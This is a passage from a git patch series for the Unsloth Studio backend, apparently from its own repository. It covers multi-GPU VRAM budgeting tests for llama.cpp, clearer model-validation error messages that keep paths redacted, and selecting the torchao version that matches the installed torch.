+        # against Studio's layer budget. Whitespace-stripped for formatter.
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert 'env.get("LLAMA_ARG_SPLIT_MODE")' in compact
+        assert '_inherited_sm!="layer"' in compact
+        assert 'env.pop("LLAMA_ARG_SPLIT_MODE",None)' in compact
+        assert 'env.pop("LLAMA_ARG_TENSOR_SPLIT",None)' in compact
+
+    def test_load_model_clears_quantized_kv_env_for_tensor(self):
+        # Cluster B: tensor mode aborts on quantized KV. An inherited quantized
+        # LLAMA_ARG_CACHE_TYPE_K/_V must be popped from the child env so it cannot
+        # crash the tensor child (and matches the tensor-safe budget).
+        # Whitespace-stripped for formatter.
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert '("LLAMA_ARG_CACHE_TYPE_K","LLAMA_ARG_CACHE_TYPE_V")' in compact
+        assert "_ct_rawnotinself._TENSOR_PARALLEL_KV_TYPES" in compact
+        assert "env.pop(_ct_var,None)" in compact
+
+    def test_load_model_clears_tensor_split_env_in_tensor_mode(self):
+        # review run3 #2: Studio owns the tensor split. When it emits no
+        # --tensor-split (even split), a stale inherited LLAMA_ARG_TENSOR_SPLIT must
+        # be cleared in the TENSOR branch too (not just the layer downgrade), or the
+        # child runs a split Studio didn't budget. The else (tensor) branch pops it.
+        src = inspect.getsource(LlamaCppBackend.load_model)
+        compact = "".join(src.split())
+        # appears in both the layer branch and the tensor branch.
+        assert compact.count('env.pop("LLAMA_ARG_TENSOR_SPLIT",None)') >= 2
+
+    def test_load_model_layer_compute_buffer_fallback(self):
+        # review run3 #4: when GGUF dims are missing the compute-buffer estimate is
+        # 0; the layer path must still reserve the flat fallback (tensor buffer >=
+        # layer buffer), not fold 0, or it under-reserves at high --parallel.
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "if_compute_buffer_pipeline<=0:" in compact
+        # The RHS expression only (no `_compute_buffer_pipeline=` prefix) so the
+        # match survives the formatter wrapping it in parens. It's unique within
+        # load_model (the other use of this constant is in MiB, no *1024*1024).
+        assert "self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB*1024*1024" in compact
+
+    def test_load_model_passes_unsized_mtp_reserve_to_tensor_planner(self):
+        # review run3 #1/#5: a weights-only (KV-unsized) MTP reserve must flow into
+        # _plan_tensor_parallel as a flat cushion, else its binary search spends the
+        # unsized draft KV on context and OOMs.
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "_tp_unsized_mtp_reserve=" in compact
+        # Gated on _mtp_reserves_gpu so a CPU-offloaded drafter reserves nothing.
+        assert "(_mtp_reserves_gpuand_mtp_kv_unsized)" in compact
+        assert "mtp_flat_reserve_bytes=_tp_unsized_mtp_reserve" in compact
+
+    def test_pool_budget_sums_per_gpu_usable(self):
+        # Finding #1: the multi-GPU pooled budget must sum each GPU's own usable
+        # budget (so an unknown-total GPU gets the free*frac cushion) rather than
+        # pooling free and total separately. The fit calls pass the precomputed
+        # budget as an absolute (budget_frac=1.0, total_mib=None) so fit and check
+        # agree. Whitespace-stripped for formatter.
+        compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+        assert "def_pool_budget_mib(subset,frac):" in compact
+        assert "sum(max(0.0,_gpu_usable(g,frac))forginsubset)" in compact
+        # No revert to the pooled free/total form.
+        assert "def_pool_total(" not in compact
+        assert "budget_frac=1.0" in compact
+
+
+# ---------------------------------------------------------------------------
+# Regression: the reported Qwen3.6-27B MTP / 24 GB scenario
+# ---------------------------------------------------------------------------
+
+
+def test_qwen36_class_regression_picks_lower_ctx_with_mtp():
+    """A 24 GB card that auto-picks a high context without MTP must pick a
+    strictly lower one once the MTP draft reserve is accounted for."""
+    b = _make_backend()
+    b._can_estimate_kv = lambda: True
+    b._estimate_kv_cache_bytes = lambda n, _t = None, **_k: (0 if n <= 0 else int(n * 66_000))
+    avail_mib = 24_000
+    model = int(17.9 * GIB)  # UD-Q4_K_XL weights
+    no_mtp = b._fit_context_to_vram(262144, avail_mib, model)
+    with_mtp = b._fit_context_to_vram(
+        262144,
+        avail_mib,
+        model,
+        mtp_overhead_fn = lambda c: b._estimate_mtp_overhead_bytes(c) or 0,
+    )
+    assert 0 < with_mtp < no_mtp
+
+
+def test_mtp_draft_budget_prefers_user_extras_drafter():
+    # A user --model-draft in extras is appended last and wins at launch, so the
+    # VRAM budget must size it first; then Studio's emitted mtp_draft_path (which
+    # overrides LLAMA_ARG_SPEC_DRAFT_MODEL), then the env drafter (load_model is too
+    # entangled to drive end-to-end; assert the precedence at the source level).
+    # Whitespace-stripped so the check survives any formatter line-wrapping.
+    compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+    # CLI extras sized first (env={} so the env doesn't pre-empt Studio's drafter).
+    assert "_cli_draft_for_budget=_extra_args_mtp_draft_path(extra_args,env={})" in compact
+    # Order: CLI extras, then Studio's mtp_draft_path, then the env drafter.
+    assert "_cli_draft_for_budgetor_studio_draft_for_budgetor_env_draft_for_budget" in compact
+    # The env must not be consulted before Studio's resolved drafter.
+    assert "_extra_args_mtp_draft_path(extra_args)ormtp_draft_path" not in compact
diff --git a/studio/backend/tests/test_tensor_parallel.py b/studio/backend/tests/test_tensor_parallel.py
index 30bfb91a08..8ec629bd2c 100644
--- a/studio/backend/tests/test_tensor_parallel.py
+++ b/studio/backend/tests/test_tensor_parallel.py
@@ -62,8 +62,11 @@ _httpx_stub.Client = type(
 sys.modules.setdefault("httpx", _httpx_stub)
 
 from core.inference import llama_cpp as llama_cpp_module
-from core.inference.llama_cpp import LlamaCppBackend
-from core.inference.llama_server_args import resolve_tensor_parallel
+from core.inference.llama_cpp import _CTX_FIT_VRAM_FRACTION, LlamaCppBackend
+from core.inference.llama_server_args import (
+    _effective_tensor_parallel,
+    resolve_tensor_parallel,
+)
 from core.inference.tensor_fallback import load_with_tensor_fallback
 from models.inference import (
     InferenceStatusResponse,
@@ -330,16 +333,21 @@ def _plan(
 
 
 def _kv_budget_b(model_gb, gpus = _ASYM):
+    # No totals here, so usable is the legacy free*frac (keeps the 5% cushion).
     reserve = LlamaCppBackend._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
-    return (sum(f for _, f in gpus) - len(gpus) * reserve) * 1024 * 1024 - int(model_gb * _GB)
+    usable = sum(f * _CTX_FIT_VRAM_FRACTION for _, f in gpus)
+    return (usable - len(gpus) * reserve) * 1024 * 1024 - int(model_gb * _GB)
 
 
 def test_tp_plan_weighted_split_on_asymmetric_big_model():
     b, (ec, mac, gi, ts) = _plan(50)
     reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
     assert gi == [0, 1]
-    # split weighted by (free - buffer), not raw free
-    assert ts == [48000 - reserve, 24000 - reserve]
+    # split weighted by (usable - buffer); with no totals usable is free*frac
+    assert ts == [
+        int(48000 * _CTX_FIT_VRAM_FRACTION - reserve),
+        int(24000 * _CTX_FIT_VRAM_FRACTION - reserve),
+    ]
     assert ec < 131072  # capped below native
 
 
@@ -442,11 +450,9 @@ def test_tp_plan_drops_gpu_below_buffer_reserve():
 
 
 # ── route auto-fallback survives a *raised* tensor-load crash ─────────
-# A tensor-incompatible model makes load_model RAISE (Gemma 3n aborts) rather
-# than return False. The /load fallback helper must catch that and retry with
-# layer split -- stripping any --split-mode from the extras so the retry can't
-# relaunch tensor -- while a non-tensor load propagates its exception. These
-# exercise the real helper with a fake loader (no GPU, no llama-server).
+# A tensor-incompatible model makes load_model RAISE (not return False); the
+# /load fallback must catch it and retry with layer split (stripping --split-mode
+# so the retry can't relaunch tensor), while a non-tensor load propagates.
 
 
 class _RecordingLoader:
@@ -555,15 +561,46 @@ def test_tensor_fallback_skips_layer_retry_when_cancelled():
 )
 def test_tensor_fallback_strips_split_mode_from_extras_on_retry(extras):
     # Tensor engaged via extras (boolean False); the retry must drop every
-    # --split-mode form (long/short, space/=) but keep the user's other flags,
-    # else resolve_tensor_parallel re-enables tensor and relaunches the crash.
+    # --split-mode form (long/short, space/=) and force layer, keeping the user's
+    # other flags, else tensor is re-enabled and relaunches the crash.
     loader = _RecordingLoader()
     ok = asyncio.run(
         load_with_tensor_fallback(loader, requested_tensor = False, extra_args = extras, label = "m")
     )
     assert ok is True
     assert len(loader.calls) == 2
-    assert loader.calls[1][1] == ["-c", "4096"]  # split-mode stripped, -c kept
+    # User --split-mode replaced by an explicit layer override; -c kept.
+    assert loader.calls[1][1] == ["-c", "4096", "--split-mode", "layer"]
+
+
+def test_tensor_fallback_env_tensor_retry_forces_layer(monkeypatch):
+    # Env-only tensor (toggle off, no --split-mode extra): load_model engages
+    # tensor via LLAMA_ARG_SPLIT_MODE and a tensor-incompatible model crashes. The
+    # wrapper must (1) recognise the env tensor request and retry, and (2) force
+    # --split-mode layer so the retry doesn't re-engage tensor via the still-set
+    # env and crash again (#6312).
+    monkeypatch.setenv("LLAMA_ARG_SPLIT_MODE", "tensor")
+    calls: list = []
+
+    async def _crash_when_effectively_tensor(tensor_parallel, extra_args):
+        calls.append(list(extra_args) if extra_args else extra_args)
+        # Mirror real load_model: env-aware tensor engagement crashes.
+        if _effective_tensor_parallel(extra_args, tensor_parallel):
+            raise RuntimeError("llama-server failed to start (tensor)")
+        return True
+
+    ok = asyncio.run(
+        load_with_tensor_fallback(
+            _crash_when_effectively_tensor,
+            requested_tensor = False,
+            extra_args = None,
+            label = "m",
+        )
+    )
+    assert ok is True
+    assert len(calls) == 2
+    # The forced layer override neutralises the inherited tensor env on retry.
+    assert calls[1] == ["--split-mode", "layer"]
 
 
 def test_tensor_fallback_propagates_non_tensor_crash():
@@ -576,3 +613,143 @@ def test_tensor_fallback_propagates_non_tensor_crash():
                 _always_raise, requested_tensor = False, extra_args = None, label = "m"
             )
         )
+
+
+# ── _plan_tensor_parallel: total-based headroom + ubatch (review fixes) ──
+
+
+def test_tensor_caps_context_to_total_vram_budget():
+    # Partly-used 80 GB cards: 20 GB free each. With total_by_idx the planner must
+    # cap occupancy at 0.95*total (not spend the cushion the layer-split paths keep).
+    b = _kv_seeded_backend()
+    gpus = [(0, 20000), (1, 20000)]
+    totals = {0: 81920, 1: 81920}
+    model = int(18 * _GB)
+    with_total, *_ = b._plan_tensor_parallel(gpus, model, 131072, total_by_idx = totals)
+    without, *_ = b._plan_tensor_parallel(gpus, model, 131072)
+    assert with_total < without  # total cap tightens the chosen context
+
+    MIB = 1024 * 1024
+    reserve = LlamaCppBackend._TENSOR_PARALLEL_BUFFER_RESERVE_MIB  # flat (no vocab dims)
+    pool_usable = sum(f - (1.0 - _CTX_FIT_VRAM_FRACTION) * totals[i] for i, f in gpus)
+    foot_total = (model + b._estimate_kv_cache_bytes(with_total, None)) / MIB + len(gpus) * reserve
+    foot_free = (model + b._estimate_kv_cache_bytes(without, None)) / MIB + len(gpus) * reserve
+    assert foot_total <= pool_usable + 2  # fix: fits the total-based budget
+    assert foot_free > pool_usable  # old behavior over-spent the cushion
+
+
+def test_tensor_unknown_total_keeps_fraction_cushion():
+    # A two-column nvidia-smi probe yields total 0. The planner must fall back to
+    # free*frac (keep the 5% cushion), like _select_gpus/_gpu_usable, not raw free,
+    # or it over-advertises context exactly where the PR is hardening the budget.
+    b = _kv_seeded_backend()
+    gpus = [(0, 20000), (1, 20000)]
+    MIB = 1024 * 1024
+    reserve = LlamaCppBackend._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
+    model = int(18 * _GB)
+    ec_zero, *_ = b._plan_tensor_parallel(gpus, model, 131072, total_by_idx = {0: 0, 1: 0})
+    ec_none, *_ = b._plan_tensor_parallel(gpus, model, 131072)
+    assert ec_zero == ec_none  # total 0 == total absent: both use free*frac
+    pool_free = sum(f for _, f in gpus)
+    foot = (model + b._estimate_kv_cache_bytes(ec_zero, None)) / MIB + len(gpus) * reserve
+    assert foot <= pool_free * _CTX_FIT_VRAM_FRACTION + 2  # within free*frac, not raw free
+
+
+def test_tensor_reserve_scales_with_ubatch():
+    # A user --ubatch override must enlarge the per-device reserve -> less ctx room.
+    b = _kv_seeded_backend()
+    b._vocab_size = 152064  # enable the deterministic compute-buffer estimate
+    gpus = [(0, 16000), (1, 16000)]
+    model = int(18 * _GB)
+    small_ub, *_ = b._plan_tensor_parallel(gpus, model, 131072, n_ubatch = 512)
+    big_ub, *_ = b._plan_tensor_parallel(gpus, model, 131072, n_ubatch = 4096)
+    assert big_ub < small_ub
+
+
+def test_plan_tensor_carries_unsized_mtp_flat_reserve():
+    # review run3 #1/#5: with a weights-only (KV-unsized) MTP reserve, the planner
+    # gets a non-None mtp_overhead_fn but must still subtract the flat unsized-KV
+    # cushion, or its binary search spends it on context. Passing the reserve must
+    # pick a strictly smaller context than passing 0.
+    b = _kv_seeded_backend()
+    gpus = [(0, 14000), (1, 14000)]  # tight pool so the context is actually capped
+    model = int(8 * _GB)
+    weights_only = lambda c: 3 * _GB  # noqa: E731 -- constant drafter weights, no KV term
+    ctx_no_flat, *_ = b._plan_tensor_parallel(
+        gpus,
+        model,
+        131072,
+        mtp_engaged = True,
+        mtp_overhead_fn = weights_only,
+        mtp_flat_reserve_bytes = 0,
+    )
+    ctx_flat, *_ = b._plan_tensor_parallel(
+        gpus,
+        model,
+        131072,
+        mtp_engaged = True,
+        mtp_overhead_fn = weights_only,
+        mtp_flat_reserve_bytes = 2 * _GB,
+    )
+    assert 0 < ctx_flat < ctx_no_flat
+
+
+def test_tensor_admission_drops_gpu_below_usable_budget():
+    # A partly-used big card can clear the buffer reserve on raw free yet have no
+    # usable budget left (free - 0.05*total). Admit by usable budget: GPU 0 here is
+    # 6000 free on an 80 GB card -> usable 1904 < flat reserve 5120, so it's dropped
+    # (leaving <2 -> no split). Without total_by_idx, raw free 6000 >= 5120 admits it.
+    b = _kv_seeded_backend()
+    gpus = [(0, 6000), (1, 40000)]
+    totals = {0: 81920, 1: 81920}
+    _ec, _mac, gi, ts = b._plan_tensor_parallel(gpus, int(8 * _GB), 8192, total_by_idx = totals)
+    assert gi == [1] and ts is None  # GPU 0 excluded on usable budget
+    _ec2, _mac2, gi_raw, _ts2 = b._plan_tensor_parallel(gpus, int(8 * _GB), 8192)
+    assert gi_raw == [0, 1]  # raw free would have admitted both
+
+
+def test_load_model_tensor_admission_and_capacity_gate_use_usable_budget():
+    # load_model is too entangled (subprocess + GPU probe) to drive end-to-end, so
+    # assert at the source level that the tensor prefilter admits on the usable
+    # budget (_gpu_usable), not raw free, and downgrades to layer split when the
+    # pooled budget can't hold weights + per-device compute buffers.
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    assert "_gpu_usable(g) >= reserve_mib" in src  # admit by usable budget
+    assert "g[1] >= reserve_mib" not in src  # not raw free
+    assert "_tp_weight_budget_mib" in src  # pooled-weight capacity gate
+    assert "falling back to layer split" in src  # downgrade on overcommit
+    # The gate's required footprint must include the non-shrinkable MTP reserve,
+    # not weights alone, or a separate-drafter MTP load can still overcommit.
+    assert "_tp_mtp_floor" in src
+    assert "model_size + _tp_mtp_floor" in src
+
+
+def test_load_model_tensor_floor_keeps_flat_reserve_for_weights_only():
+    # Tensor mode has no --fit valve, so a weights-only drafter (KV unsized) must
+    # keep the flat reserve as the draft-KV cushion, not just the byte weights
+    # (Finding H1, the tensor analog of the layer-split _mtp_kv_unsized handling).
+    compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+    # byte-only floor used only when KV is sizable (not the weights-only case)
+    assert "mtp_overhead_fnisnotNoneandnot_mtp_kv_unsized" in compact
+    # weights-only / dims-unavailable: flat reserve, never below the byte floor
+    assert "_tp_mtp_floor=max(" in compact
+
+
+def test_load_model_reserves_pipeline_per_device_overhead():
+    # Layer split must reserve the fixed per-device overhead per EXTRA device so a
+    # tight multi-GPU split can't pin a context that OOMs a device (Finding A); k=1
+    # adds nothing.
+    assert LlamaCppBackend._PIPELINE_PER_DEVICE_OVERHEAD_MIB > 0
+    compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+    assert "def_subset_model_size(n_gpus:int)->int:" in compact
+    assert "max(0,n_gpus-1)*_pipeline_overhead_bytes" in compact
+    assert "_subset_model_size(n_gpus)" in compact  # used in the layer-split fit
+
+
+def test_load_model_restores_quantized_kv_on_tensor_downgrade():
+    # A quantized KV dropped for the tensor attempt must be restored if tensor
+    # downgrades to layer split (Finding D); captured once, restored at both the
+    # GPU-count and capacity-gate downgrades.
+    compact = "".join(inspect.getsource(LlamaCppBackend.load_model).split())
+    assert "_tensor_dropped_cache_type_kv=cache_type_kv" in compact  # captured pre-null
+    assert compact.count("cache_type_kv=_tensor_dropped_cache_type_kv") >= 2  # restored
diff --git a/studio/backend/tests/test_windows_gpu_detection_mock.py b/studio/backend/tests/test_windows_gpu_detection_mock.py
index 88a1a28d14..a4ec3f3fb5 100644
--- a/studio/backend/tests/test_windows_gpu_detection_mock.py
+++ b/studio/backend/tests/test_windows_gpu_detection_mock.py
@@ -211,6 +211,22 @@ class TestWindowsGpuDetectionAfter5106Fix:
             gpus = LlamaCppBackend._get_gpu_free_memory()
         assert gpus == [(1, 24576)], gpus
 
+    def test_get_gpu_memory_parses_three_and_two_column(self, monkeypatch):
+        """Total is parsed when present; a legacy two-column line or a non-integer
+        total ("N/A") yields total 0 (back-compat) rather than dropping the GPU,
+        which would silently spill to CPU."""
+        monkeypatch.delenv("CUDA_VISIBLE_DEVICES", raising = False)
+        with _mock_nvidia_smi_run("0, 22805, 24576\n"):
+            assert LlamaCppBackend._get_gpu_memory() == [(0, 22805, 24576)]
+        with _mock_nvidia_smi_run("0, 22805\n"):
+            assert LlamaCppBackend._get_gpu_memory() == [(0, 22805, 0)]
+        # A non-integer total must keep the GPU (total 0), not drop it.
+        with _mock_nvidia_smi_run("0, 22805, N/A\n"):
+            assert LlamaCppBackend._get_gpu_memory() == [(0, 22805, 0)]
+        # A bad free still skips that line (free is required).
+        with _mock_nvidia_smi_run("0, N/A, 24576\n1, 22805, 24576\n"):
+            assert LlamaCppBackend._get_gpu_memory() == [(1, 22805, 24576)]
+
     def test_windows_install_dir_has_all_three_cudart_dlls(self, tmp_path):
         """All three bundle DLLs must land in install_dir/build/bin/
         Release; any missing one breaks ggml-cuda.dll's PE import chain."""

From dc2e5abd34c732a1026cf48cbf7f9fbd8c442948 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 17 Jun 2026 03:23:36 -0700
Subject: [PATCH 40/91] Studio: surface the real reason a model fails
 validation (#6398)

* Studio: surface the real reason a model fails validation

validate_model caught every error and returned a blank "Invalid model" while
logging the actual cause. Selecting a GGUF model without a built llama-server,
for example, raises a deliberately actionable RuntimeError ("llama-server binary
not found - cannot load GGUF models. Run setup.sh ...") that the user never saw,
leaving them with an unexplained "Invalid model".

Surface RuntimeError and ValueError messages (path-redacted, and wrapped with the
existing "not supported yet" hint where it applies) in the 400 detail, matching
what the native-path branch already does. Any other exception type stays generic
so an unexpected internal error never leaks its details to the client.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Test: accept positional args in the from_identifier mock

Make the mock robust to a future from_identifier signature that passes
positional arguments, per review feedback.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/routes/inference.py            | 14 +++
 .../tests/test_validate_model_error.py        | 86 +++++++++++++++++++
 2 files changed, 100 insertions(+)
 create mode 100644 studio/backend/tests/test_validate_model_error.py

diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 2193d562e3..48b13d31c9 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -2578,6 +2578,20 @@ async def validate_model(
             f"Error validating model identifier '{request.model_path}': {e}",
             exc_info = True,
         )
+        # RuntimeError / ValueError carry intentional, actionable messages here
+        # (e.g. "llama-server binary not found - cannot load GGUF models. Run
+        # setup.sh ..."), so surface them instead of a blank "Invalid model".
+        # Path-redact for safety and keep any other exception type generic so an
+        # unexpected internal error never leaks its details to the client.
+        if isinstance(e, (RuntimeError, ValueError)):
+            msg = redact_native_paths(str(e)).strip()
+            if msg:
+                if any(h.lower() in msg.lower() for h in not_supported_hints):
+                    msg = f"This model is not supported yet. Try a different model. (Original error: {msg})"
+                raise HTTPException(
+                    status_code = 400,
+                    detail = msg,
+                )
         raise HTTPException(
             status_code = 400,
             detail = "Invalid model",
diff --git a/studio/backend/tests/test_validate_model_error.py b/studio/backend/tests/test_validate_model_error.py
new file mode 100644
index 0000000000..f752f8eada
--- /dev/null
+++ b/studio/backend/tests/test_validate_model_error.py
@@ -0,0 +1,86 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""routes/inference.py::validate_model surfaces actionable RuntimeError/ValueError
+messages (e.g. "llama-server binary not found - run setup.sh") instead of a blank
+"Invalid model", while keeping unexpected exceptions generic so internals never
+leak to the client.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+pytest.importorskip("fastapi")
+
+from fastapi import HTTPException  # noqa: E402
+
+import routes.inference as inf  # noqa: E402
+from models.inference import ValidateModelRequest  # noqa: E402
+
+
+def _provoke(
+    monkeypatch,
+    exc: BaseException,
+    *,
+    native: bool = False,
+) -> HTTPException:
+    """Drive validate_model so from_identifier raises ``exc``; return the
+    HTTPException it converts that into."""
+    monkeypatch.setattr(
+        inf,
+        "_resolve_model_identifier_for_request",
+        lambda request, operation: ("org/repo", "org/repo", native),
+    )
+
+    def _raise(*_args, **_kwargs):
+        raise exc
+
+    monkeypatch.setattr(inf.ModelConfig, "from_identifier", staticmethod(_raise))
+
+    req = ValidateModelRequest(model_path = "org/repo")
+    with pytest.raises(HTTPException) as excinfo:
+        asyncio.run(inf.validate_model(req, current_subject = "tester"))
+    return excinfo.value
+
+
+def test_runtime_error_surfaces_actionable_message(monkeypatch):
+    err = RuntimeError(
+        "llama-server binary not found - cannot load GGUF models. "
+        "Run setup.sh to build it, or set LLAMA_SERVER_PATH."
+    )
+    http = _provoke(monkeypatch, err)
+    assert http.status_code == 400
+    assert "llama-server binary not found" in http.detail
+    assert http.detail != "Invalid model"
+
+
+def test_value_error_not_supported_is_wrapped(monkeypatch):
+    http = _provoke(monkeypatch, ValueError("architecture FooBar is not supported"))
+    assert http.status_code == 400
+    assert "not supported yet" in http.detail.lower()
+    # Original cause is preserved for context.
+    assert "FooBar" in http.detail
+
+
+def test_unexpected_exception_stays_generic(monkeypatch):
+    # A non-user-facing exception type must NOT have its message surfaced.
+    http = _provoke(monkeypatch, KeyError("secret-internal-detail"))
+    assert http.status_code == 400
+    assert http.detail == "Invalid model"
+    assert "secret-internal-detail" not in http.detail
+
+
+def test_empty_runtime_error_falls_back_to_generic(monkeypatch):
+    # A RuntimeError with no message should not produce an empty 400 detail.
+    http = _provoke(monkeypatch, RuntimeError(""))
+    assert http.status_code == 400
+    assert http.detail == "Invalid model"

From f5f9e217c1e73a1a30e33c2c9d63409f784a6424 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 17 Jun 2026 04:09:40 -0700
Subject: [PATCH 41/91] studio: select torchao version from the installed torch
 (#6400)

* studio: select torchao version from the installed torch

The Studio installer pins CUDA torch to torch>=2.4,<2.11 and its driver
ladder selects the cu130 wheel index on recent NVIDIA drivers, so pip
resolves torch 2.10.0. overrides.txt hard-pinned torchao==0.14.0, whose
C++ extensions are built against torch 2.9.0, so torchao skipped its cpp
kernels ("Skipping import of cpp extensions due to incompatible torch
version 2.10.0+cu130 for torchao version 0.14.0") and fell back to the
slow Python path. Every CUDA index now tops out at torch 2.10.0, so this
hit most modern installs, not just cu130.

Pick the torchao version matching the torch actually installed in the
venv (table: pytorch/ao#2919): torch 2.10.x -> torchao 0.16.0, 2.11.x ->
torchao 0.17.0, otherwise the previous 0.14.0 (so torch <=2.9 is
unchanged). The installer reads torch.__version__ from the venv via a
cross-platform sys.executable probe (probe_torch_wheel_env is Linux-only)
and passes the computed spec positionally to the existing force-reinstall
override step; overrides.txt becomes a pointer to that logic. torchao's
Python API (Float8Tensor, used by unsloth/kernels/utils.py) imports
cleanly on 0.16.0/0.17.0, verified against torch 2.9.1.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: address review on torchao selection

- Clean the torch minor of pre-release/dev suffixes before parsing
  (e.g. '2.10rc1' -> minor 10), matching wheel_utils.probe_torch_wheel_env.
- Pass _windows_hidden_subprocess_kwargs() to the torch-version probe so
  it does not flash a console window on Windows (no-op elsewhere).
- Use _safe_print for the selection log line, consistent with the file's
  other status output (safe on non-UTF-8 consoles).

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/requirements/overrides.txt   |  7 +-
 studio/backend/tests/test_torchao_select.py | 71 +++++++++++++++++
 studio/install_python_stack.py              | 84 +++++++++++++++++++--
 3 files changed, 153 insertions(+), 9 deletions(-)
 create mode 100644 studio/backend/tests/test_torchao_select.py

diff --git a/studio/backend/requirements/overrides.txt b/studio/backend/requirements/overrides.txt
index 176c651b96..8df4089402 100644
--- a/studio/backend/requirements/overrides.txt
+++ b/studio/backend/requirements/overrides.txt
@@ -1,2 +1,5 @@
-# Torch AO overrides (installed with --force-reinstall --no-cache-dir)
-torchao==0.14.0
+# torchao is installed by studio/install_python_stack.py, which selects the
+# version matching the torch release actually installed in the venv (torchao's
+# C++ extensions are built against one exact torch version, so a fixed pin here
+# would skip them on a newer torch). See _select_torchao_spec /
+# _probe_installed_torch_version in that file.
diff --git a/studio/backend/tests/test_torchao_select.py b/studio/backend/tests/test_torchao_select.py
new file mode 100644
index 0000000000..393a74daaf
--- /dev/null
+++ b/studio/backend/tests/test_torchao_select.py
@@ -0,0 +1,71 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for _select_torchao_spec in install_python_stack.py.
+
+torchao's C++ extensions are built against one exact torch release, so the
+installer must pick the torchao version matching the torch installed in the
+venv (otherwise the cpp kernels are skipped). This pins that mapping.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+
+# install_python_stack.py lives at repo_root/studio/install_python_stack.py
+_INSTALL_SCRIPT = Path(__file__).resolve().parents[2] / "install_python_stack.py"
+
+
+def _load_module(monkeypatch):
+    """(Re-)import install_python_stack and return it (mirrors test_pytorch_mirror)."""
+    sys.modules.pop("install_python_stack", None)
+    monkeypatch.syspath_prepend(str(_INSTALL_SCRIPT.parent))
+    import install_python_stack
+
+    return install_python_stack
+
+
+@pytest.mark.parametrize(
+    "torch_version, expected",
+    [
+        # torch 2.10 (the reported bug: cu130 resolves 2.10.0) -> 0.16.0,
+        # independent of the local +cuXXX/+rocm/+cpu suffix or patch level.
+        ("2.10.0+cu130", "torchao==0.16.0"),
+        ("2.10.0+rocm6.4", "torchao==0.16.0"),
+        ("2.10.0+cpu", "torchao==0.16.0"),
+        ("2.10.1", "torchao==0.16.0"),
+        ("2.10.0", "torchao==0.16.0"),
+        # Pre-release / dev / rc builds: the minor is cleaned of non-digits.
+        ("2.10.0rc1", "torchao==0.16.0"),
+        ("2.10.0.dev20250804+cu130", "torchao==0.16.0"),
+        ("2.10rc1", "torchao==0.16.0"),
+        # torch 2.11 (reachable via ROCm rocm7.2) and forward -> 0.17.0.
+        ("2.11.0+cu130", "torchao==0.17.0"),
+        ("2.11.0", "torchao==0.17.0"),
+        ("2.12.0", "torchao==0.17.0"),
+        # torch <=2.9 keeps today's pin (already a correct match for 2.9.0).
+        ("2.9.0+cu128", "torchao==0.14.0"),
+        ("2.9.1", "torchao==0.14.0"),
+        ("2.8.0", "torchao==0.14.0"),
+        ("2.4.0", "torchao==0.14.0"),
+        # Unparseable / missing / non-2.x major -> conservative default.
+        (None, "torchao==0.14.0"),
+        ("", "torchao==0.14.0"),
+        ("garbage", "torchao==0.14.0"),
+        ("2", "torchao==0.14.0"),
+        ("3.0.0", "torchao==0.14.0"),
+    ],
+)
+def test_select_torchao_spec(monkeypatch, torch_version, expected):
+    mod = _load_module(monkeypatch)
+    assert mod._select_torchao_spec(torch_version) == expected
+
+
+def test_default_spec_matches_table(monkeypatch):
+    """The default/floor stays the historical pin so older torch is unchanged."""
+    mod = _load_module(monkeypatch)
+    assert mod._TORCHAO_DEFAULT_SPEC == "torchao==0.14.0"
+    assert mod._select_torchao_spec("2.9.0") == mod._TORCHAO_DEFAULT_SPEC
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index a8bd73ad9b..36c2bc05b5 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -102,6 +102,72 @@ _CUDA_TORCH_PKG_SPEC: tuple[str, str, str] = (
     "torchaudio>=2.4,<2.11.0",
 )
 
+# torchao's C++ extensions are built against ONE exact torch release; a newer
+# torch makes torchao skip its cpp kernels ("Skipping import of cpp extensions
+# due to incompatible torch version ...") and fall back to slow Python. Because
+# the torch pin above is a range (and every CUDA index now tops out at torch
+# 2.10), the torch actually installed drifts ahead of a fixed torchao pin. So
+# pick the torchao whose build matches the torch in the venv. Table: pytorch/ao#2919.
+#   torch 2.9.x  -> torchao 0.14.0 (today's pin; built for torch 2.9.0)
+#   torch 2.10.x -> torchao 0.16.0 (built for torch 2.10.0)
+#   torch 2.11.x -> torchao 0.17.0 (built for torch 2.11.0; reachable via ROCm rocm7.2)
